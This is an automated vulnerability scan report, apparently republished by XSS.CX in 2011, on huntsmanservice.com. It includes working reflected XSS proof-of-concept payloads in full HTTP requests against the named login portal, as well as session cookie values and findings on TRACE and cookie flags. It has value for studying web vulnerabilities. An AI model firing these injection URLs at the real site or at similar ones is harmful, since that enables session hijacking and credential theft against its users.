XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, huntsmanservice.com

Report generated by XSS.CX at Tue May 17 09:15:57 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |

1.1. https://www.huntsmanservice.com/portal/page/portal/EBUSINESS_GENERAL_PGR/LOGIN_PORTAL_PG [p_code parameter]

1.2. https://www.huntsmanservice.com/portal/pls/portal/PORTAL.wwsbr_javascript.page_js [REST URL parameter 3]

1.3. https://www.huntsmanservice.com/portal/pls/portal71bf5%3Cimg%20src%3da%20onerror%3dalert(1)%3Eb53fe2a653c/a [REST URL parameter 3]

2. SSL cookie without secure flag set

3. Cookie without HttpOnly flag set

4. Password field with autocomplete enabled

4.1. https://www.huntsmanservice.com/portal/page/portal/EBUSINESS_GENERAL_PGR/LOGIN_PORTAL_PG

4.2. https://www.huntsmanservice.com/portal/page/portal/EBUSINESS_GENERAL_PGR/LOGIN_PORTAL_PG

5. TRACE method is enabled

6. Email addresses disclosed

7. Cacheable HTTPS response

8. SSL certificate

1. Cross-site scripting (reflected) next
There are 3 instances of this issue:

/portal/page/portal/EBUSINESS_GENERAL_PGR/LOGIN_PORTAL_PG [p_code parameter]
/portal/pls/portal/PORTAL.wwsbr_javascript.page_js [REST URL parameter 3]
/portal/pls/portal71bf5%3Cimg%20src%3da%20onerror%3dalert(1)%3Eb53fe2a653c/a [REST URL parameter 3]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. https://www.huntsmanservice.com/portal/page/portal/EBUSINESS_GENERAL_PGR/LOGIN_PORTAL_PG [p_code parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	https://www.huntsmanservice.com
Path:	/portal/page/portal/EBUSINESS_GENERAL_PGR/LOGIN_PORTAL_PG

Issue detail

The value of the p_code request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 831ef"><script>alert(1)</script>29be08b866f was submitted in the p_code parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /portal/page/portal/EBUSINESS_GENERAL_PGR/LOGIN_PORTAL_PG?p_code=-50831ef"><script>alert(1)</script>29be08b866f HTTP/1.1
Host: www.huntsmanservice.com
Connection: keep-alive
Referer: https://www.huntsmanservice.com/portal/page/portal/EBUSINESS_GENERAL_PGR/LOGIN_PORTAL_PG
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ORA_WX_SESSION="198F75462DC6021B8301E5B16520E9B0A6A3E449-0#1"; portal=9.0.3+en-us+us+AMERICA+A378E37E9C631F07E040EBCD2B6B399B+A5AE90461CAE0C513FDE9E14B360272F3313DDA8406EA5A6D5AC5A27FD5C5318E433695D348180505819C44C7C21ED490FCB7AD88253B239B30DB8826195FB01A1908F2F0E143D4289254CD82052071AFBA924E67EBE9C01

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=0
Connection: Keep-Alive
Keep-Alive: timeout=5, max=999
Server: Oracle-Application-Server-10g/10.1.2.3.0 Oracle-HTTP-Server OracleAS-Web-Cache-10g/10.1.2.3.2 (TM;max-age=2592000+0;age=0;ecid=108615013222,0)
Date: Tue, 17 May 2011 13:51:33 GMT
Content-Location: /servlet/page/EBUSINESS_GENERAL_PGR/LOGIN_PORTAL_PG
Content-Length: 57407

<HTML dir=LTR>
<HEAD>
<TITLE>HuntsmanService Login Page</TITLE>
<style type="text/css">.GroupHeaderid1siteid199{Background-Color:#336699;Height:20px;Text-Align:Left;}
.GroupHeaderLinkid1siteid199{C
...[SNIP]...
<FORM ACTION="https://www.huntsmanservice.com/portal/page/portal/EBUSINESS_GENERAL_PGR/LOGIN_PORTAL_PG?p_code=-50831ef"><script>alert(1)</script>29be08b866f" METHOD="POST" name="logonform" style="margin-bottom:0px;">
...[SNIP]...

1.2. https://www.huntsmanservice.com/portal/pls/portal/PORTAL.wwsbr_javascript.page_js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://www.huntsmanservice.com
Path:	/portal/pls/portal/PORTAL.wwsbr_javascript.page_js

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 71bf5<img%20src%3da%20onerror%3dalert(1)>b53fe2a653c was submitted in the REST URL parameter 3. This input was echoed as 71bf5<img src=a onerror=alert(1)>b53fe2a653c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /portal/pls/portal71bf5<img%20src%3da%20onerror%3dalert(1)>b53fe2a653c/PORTAL.wwsbr_javascript.page_js?p_language=us&p_version=10.1.4.2.0.197 HTTP/1.1
Host: www.huntsmanservice.com
Connection: keep-alive
Referer: https://www.huntsmanservice.com/portal/page/portal/EBUSINESS_GENERAL_PGR/LOGIN_PORTAL_PG
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ORA_WX_SESSION="198F75462DC6021B8301E5B16520E9B0A6A3E449-0#1"; portal=9.0.3+en-us+us+AMERICA+A378E37E9C631F07E040EBCD2B6B399B+A5AE90461CAE0C513FDE9E14B360272F3313DDA8406EA5A6D5AC5A27FD5C5318E433695D348180505819C44C7C21ED490FCB7AD88253B239B30DB8826195FB01A1908F2F0E143D4289254CD82052071AFBA924E67EBE9C01

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=ISO-8859-1
Connection: Keep-Alive
Keep-Alive: timeout=5, max=999
Server: Oracle-Application-Server-10g/10.1.2.3.0 Oracle-HTTP-Server OracleAS-Web-Cache-10g/10.1.2.3.2 (N;ecid=104320168451,0)
Content-Length: 299
Date: Tue, 17 May 2011 13:53:32 GMT
Content-Location: /servlet/RepositoryServlet/portal71bf5%3Cimg%20src%3Da%20onerror%3Dalert(1)%3Eb53fe2a653c/PORTAL.wwsbr_javascript.page_js

<HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>404 Not Found</H1>DAD "portal71bf5<img src=a onerror=alert(1)>b53fe2a653c" not found in URL (https://www.huntsmanservice.com/portal/pls/portal71bf5<img%20src%3da%20onerror%3dalert(1)>
...[SNIP]...

1.3. https://www.huntsmanservice.com/portal/pls/portal71bf5%3Cimg%20src%3da%20onerror%3dalert(1)%3Eb53fe2a653c/a [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://www.huntsmanservice.com
Path:	/portal/pls/portal71bf5%3Cimg%20src%3da%20onerror%3dalert(1)%3Eb53fe2a653c/a

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 8429c<img%20src%3da%20onerror%3dalert(1)>022bd5ffb3a was submitted in the REST URL parameter 3. This input was echoed as 8429c<img src=a onerror=alert(1)>022bd5ffb3a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /portal/pls/portal71bf5%3Cimg%20src%3da%20onerror%3dalert(1)%3Eb53fe2a653c8429c<img%20src%3da%20onerror%3dalert(1)>022bd5ffb3a/a HTTP/1.1
Host: www.huntsmanservice.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.huntsmanservice.com/portal/pls/portal71bf5%3Cimg%20src%3da%20onerror%3dalert(1)%3Eb53fe2a653c/PORTAL.wwsbr_javascript.page_js?p_language=us&p_version=10.1.4.2.0.197

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=ISO-8859-1
Connection: Keep-Alive
Keep-Alive: timeout=5, max=999
Server: Oracle-Application-Server-10g/10.1.2.3.0 Oracle-HTTP-Server OracleAS-Web-Cache-10g/10.1.2.3.2 (N;ecid=91436514822,0)
Content-Length: 369
Date: Tue, 17 May 2011 14:13:51 GMT
Content-Location: /servlet/RepositoryServlet/portal71bf5%3Cimg%20src%3Da%20onerror%3Dalert(1)%3Eb53fe2a653c8429c%3Cimg%20src%3Da%20onerror%3Dalert(1)%3E022bd5ffb3a/a

<HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>404 Not Found</H1>DAD "portal71bf5<img src=a onerror=alert(1)>b53fe2a653c8429c<img src=a onerror=alert(1)>022bd5ffb3a" not found in URL (https://www.huntsmanservice.com/portal/pls/portal71bf5%3Cimg%20src%3da%20onerror%3dalert(1)%3Eb53fe2a653c8429c<img%20src%3da%20onerror%3dalert(1)>
...[SNIP]...

2. SSL cookie without secure flag set previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://www.huntsmanservice.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

ORA_WX_SESSION="198F75462DC6021B8301E5B16520E9B0A6A3E449-0#1"; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.

Issue remediation

The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.

Request

GET / HTTP/1.1
Host: www.huntsmanservice.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Moved Temporarily
Location: /portal/pls/portal/portal.home
Cache-Control: max-age=0
Content-Type: text/plain
Set-Cookie: ORA_WX_SESSION="198F75462DC6021B8301E5B16520E9B0A6A3E449-0#1"; path=/
Set-Cookie: portal=9.0.3+en-us+us+AMERICA+A378E37E9C631F07E040EBCD2B6B399B+A5AE90461CAE0C513FDE9E14B360272F3313DDA8406EA5A6D5AC5A27FD5C5318E433695D348180505819C44C7C21ED490FCB7AD88253B239B30DB8826195FB01A1908F2F0E143D4289254CD82052071AFBA924E67EBE9C01; path=/; secure
Connection: Keep-Alive
Keep-Alive: timeout=5, max=999
Server: Oracle-Application-Server-10g/10.1.2.3.0 Oracle-HTTP-Server OracleAS-Web-Cache-10g/10.1.2.3.2 (N;ecid=91435091183,0)
Content-Length: 0
Date: Tue, 17 May 2011 13:50:41 GMT
Content-Location: /servlet/RepositoryServlet/portal

3. Cookie without HttpOnly flag set previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://www.huntsmanservice.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

ORA_WX_SESSION="198F75462DC6021B8301E5B16520E9B0A6A3E449-0#1"; path=/
portal=9.0.3+en-us+us+AMERICA+A378E37E9C631F07E040EBCD2B6B399B+A5AE90461CAE0C513FDE9E14B360272F3313DDA8406EA5A6D5AC5A27FD5C5318E433695D348180505819C44C7C21ED490FCB7AD88253B239B30DB8826195FB01A1908F2F0E143D4289254CD82052071AFBA924E67EBE9C01; path=/; secure

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

Response

4. Password field with autocomplete enabled previous next
There are 2 instances of this issue:

/portal/page/portal/EBUSINESS_GENERAL_PGR/LOGIN_PORTAL_PG
/portal/page/portal/EBUSINESS_GENERAL_PGR/LOGIN_PORTAL_PG

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

4.1. https://www.huntsmanservice.com/portal/page/portal/EBUSINESS_GENERAL_PGR/LOGIN_PORTAL_PG previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://www.huntsmanservice.com
Path:	/portal/page/portal/EBUSINESS_GENERAL_PGR/LOGIN_PORTAL_PG

Issue detail

The page contains a form with the following action URL:

https://www.huntsmanservice.com/portal/page/portal/EBUSINESS_GENERAL_PGR/LOGIN_PORTAL_PG

The form contains the following password field with autocomplete enabled:

p_pwd

Request

GET /portal/page/portal/EBUSINESS_GENERAL_PGR/LOGIN_PORTAL_PG HTTP/1.1
Host: www.huntsmanservice.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ORA_WX_SESSION="198F75462DC6021B8301E5B16520E9B0A6A3E449-0#1"; portal=9.0.3+en-us+us+AMERICA+A378E37E9C631F07E040EBCD2B6B399B+A5AE90461CAE0C513FDE9E14B360272F3313DDA8406EA5A6D5AC5A27FD5C5318E433695D348180505819C44C7C21ED490FCB7AD88253B239B30DB8826195FB01A1908F2F0E143D4289254CD82052071AFBA924E67EBE9C01

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=0
Connection: Keep-Alive
Keep-Alive: timeout=5, max=999
Server: Oracle-Application-Server-10g/10.1.2.3.0 Oracle-HTTP-Server OracleAS-Web-Cache-10g/10.1.2.3.2 (TH;max-age=2592000+0;age=279497;ecid=91435096807,0)
Date: Tue, 17 May 2011 13:50:47 GMT
Content-Location: /servlet/page/EBUSINESS_GENERAL_PGR/LOGIN_PORTAL_PG
Content-Length: 59387

<HTML dir=LTR>
<HEAD>
<TITLE>HuntsmanService Login Page</TITLE>
<style type="text/css">.GroupHeaderid1siteid199{Background-Color:#336699;Height:20px;Text-Align:Left;}
.GroupHeaderLinkid1siteid199{C
...[SNIP]...
<div class="WrapperA">
<FORM ACTION="https://www.huntsmanservice.com/portal/page/portal/EBUSINESS_GENERAL_PGR/LOGIN_PORTAL_PG" METHOD="POST" name="logonform" style="margin-bottom:0px;">
<INPUT TYPE="hidden" NAME="p_action" VALUE="CANCEL">
...[SNIP]...
<TD><INPUT TYPE="password" NAME="p_pwd" class="feedbacksmall" onKeyPress="return submitenter(this,event)"></TD>
...[SNIP]...

4.2. https://www.huntsmanservice.com/portal/page/portal/EBUSINESS_GENERAL_PGR/LOGIN_PORTAL_PG previous

Summary

Severity:	Low
Confidence:	Certain
Host:	https://www.huntsmanservice.com
Path:	/portal/page/portal/EBUSINESS_GENERAL_PGR/LOGIN_PORTAL_PG

Issue detail

The page contains a form with the following action URL:

https://www.huntsmanservice.com/portal/page/portal/EBUSINESS_GENERAL_PGR/LOGIN_PORTAL_PG?p_code=-50

The form contains the following password field with autocomplete enabled:

p_pwd

Request

GET /portal/page/portal/EBUSINESS_GENERAL_PGR/LOGIN_PORTAL_PG?p_code=-50 HTTP/1.1
Host: www.huntsmanservice.com
Connection: keep-alive
Referer: https://www.huntsmanservice.com/portal/page/portal/EBUSINESS_GENERAL_PGR/LOGIN_PORTAL_PG
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ORA_WX_SESSION="198F75462DC6021B8301E5B16520E9B0A6A3E449-0#1"; portal=9.0.3+en-us+us+AMERICA+A378E37E9C631F07E040EBCD2B6B399B+A5AE90461CAE0C513FDE9E14B360272F3313DDA8406EA5A6D5AC5A27FD5C5318E433695D348180505819C44C7C21ED490FCB7AD88253B239B30DB8826195FB01A1908F2F0E143D4289254CD82052071AFBA924E67EBE9C01

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=0
Connection: Keep-Alive
Keep-Alive: timeout=5, max=999
Server: Oracle-Application-Server-10g/10.1.2.3.0 Oracle-HTTP-Server OracleAS-Web-Cache-10g/10.1.2.3.2 (TH;max-age=2592000+0;age=268124;ecid=100025050739,0)
Date: Tue, 17 May 2011 13:51:06 GMT
Content-Location: /servlet/page/EBUSINESS_GENERAL_PGR/LOGIN_PORTAL_PG
Content-Length: 58558

<HTML dir=LTR>
<HEAD>
<TITLE>HuntsmanService Login Page</TITLE>
<style type="text/css">.GroupHeaderid1siteid199{Background-Color:#336699;Height:20px;Text-Align:Left;}
.GroupHeaderLinkid1siteid199{C
...[SNIP]...
<div class="WrapperA">
<FORM ACTION="https://www.huntsmanservice.com/portal/page/portal/EBUSINESS_GENERAL_PGR/LOGIN_PORTAL_PG?p_code=-50" METHOD="POST" name="logonform" style="margin-bottom:0px;">
<INPUT TYPE="hidden" NAME="p_action" VALUE="CANCEL">
...[SNIP]...
<TD><INPUT TYPE="password" NAME="p_pwd" class="feedbacksmall" onKeyPress="return submitenter(this,event)"></TD>
...[SNIP]...

5. TRACE method is enabled previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.huntsmanservice.com
Path:	/

Issue description

The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.

Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.

Issue remediation

The TRACE method should be disabled on the web server.

Request

TRACE / HTTP/1.0
Host: www.huntsmanservice.com
Cookie: bf21ac58d669c494

Response

HTTP/1.1 200 OK
Content-Type: message/http
Connection: Keep-Alive
Keep-Alive: timeout=5, max=999
Server: Oracle-Application-Server-10g/10.1.2.3.0 Oracle-HTTP-Server OracleAS-Web-Cache-10g/10.1.2.3.2 (N;ecid=91435097459,0)
Content-Length: 101
Date: Tue, 17 May 2011 13:50:47 GMT

TRACE / HTTP/1.1
Connection: Keep-Alive
Cookie: bf21ac58d669c494
Host: www.huntsmanservice.com

6. Email addresses disclosed previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.huntsmanservice.com
Path:	/portal/page/portal/EBUSINESS_GENERAL_PGR/LOGIN_PORTAL_PG

Issue detail

The following email address was disclosed in the response:

huntsman_service@huntsman.com

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=0
Connection: Keep-Alive
Keep-Alive: timeout=5, max=999
Server: Oracle-Application-Server-10g/10.1.2.3.0 Oracle-HTTP-Server OracleAS-Web-Cache-10g/10.1.2.3.2 (TH;max-age=2592000+0;age=279497;ecid=91435096807,0)
Date: Tue, 17 May 2011 13:50:47 GMT
Content-Location: /servlet/page/EBUSINESS_GENERAL_PGR/LOGIN_PORTAL_PG
Content-Length: 59387

<HTML dir=LTR>
<HEAD>
<TITLE>HuntsmanService Login Page</TITLE>
<style type="text/css">.GroupHeaderid1siteid199{Background-Color:#336699;Height:20px;Text-Align:Left;}
.GroupHeaderLinkid1siteid199{C
...[SNIP]...
<A HREF="mailto:huntsman_service@huntsman.com">
...[SNIP]...
<br>Contact your customer service representative or send an email to huntsman_service@huntsman.com<br>
...[SNIP]...
<A HREF="mailto:huntsman_service@huntsman.com">
...[SNIP]...

7. Cacheable HTTPS response previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.huntsmanservice.com
Path:	/portal/page/portal/EBUSINESS_GENERAL_PGR/LOGIN_PORTAL_PG

Issue description

Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.

Issue remediation

The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:

Cache-control: no-store
Pragma: no-cache

Request

Response

8. SSL certificate previous

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.huntsmanservice.com
Path:	/

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:	www.huntsmanservice.com
Issued by:	VeriSign Class 3 International Server CA - G3
Valid from:	Sun Oct 24 19:00:00 CDT 2010
Valid to:	Tue Oct 25 18:59:59 CDT 2011

Certificate chain #1

Issued to:	VeriSign Class 3 International Server CA - G3
Issued by:	VeriSign Class 3 Public Primary Certification Authority - G5
Valid from:	Sun Feb 07 18:00:00 CST 2010
Valid to:	Fri Feb 07 17:59:59 CST 2020

Certificate chain #2

Issued to:	VeriSign Class 3 Public Primary Certification Authority - G5
Issued by:	Class 3 Public Primary Certification Authority
Valid from:	Tue Nov 07 18:00:00 CST 2006
Valid to:	Sun Nov 07 17:59:59 CST 2021

Certificate chain #3

Issued to:	Class 3 Public Primary Certification Authority
Issued by:	Class 3 Public Primary Certification Authority
Valid from:	Sun Jan 28 18:00:00 CST 1996
Valid to:	Wed Aug 02 18:59:59 CDT 2028

Issue background

SSL helps to protect the confidentiality and integrity of information in transit between the browser and server, and to provide authentication of the server's identity. To serve this purpose, the server must present an SSL certificate which is valid for the server's hostname, is issued by a trusted authority and is valid for the current date. If any one of these requirements is not met, SSL connections to the server will not provide the full protection for which SSL is designed.

It should be noted that various attacks exist against SSL in general, and in the context of HTTPS web connections. It may be possible for a determined and suitably-positioned attacker to compromise SSL connections without user detection even when a valid SSL certificate is used.

Report generated by XSS.CX at Tue May 17 09:15:57 CDT 2011.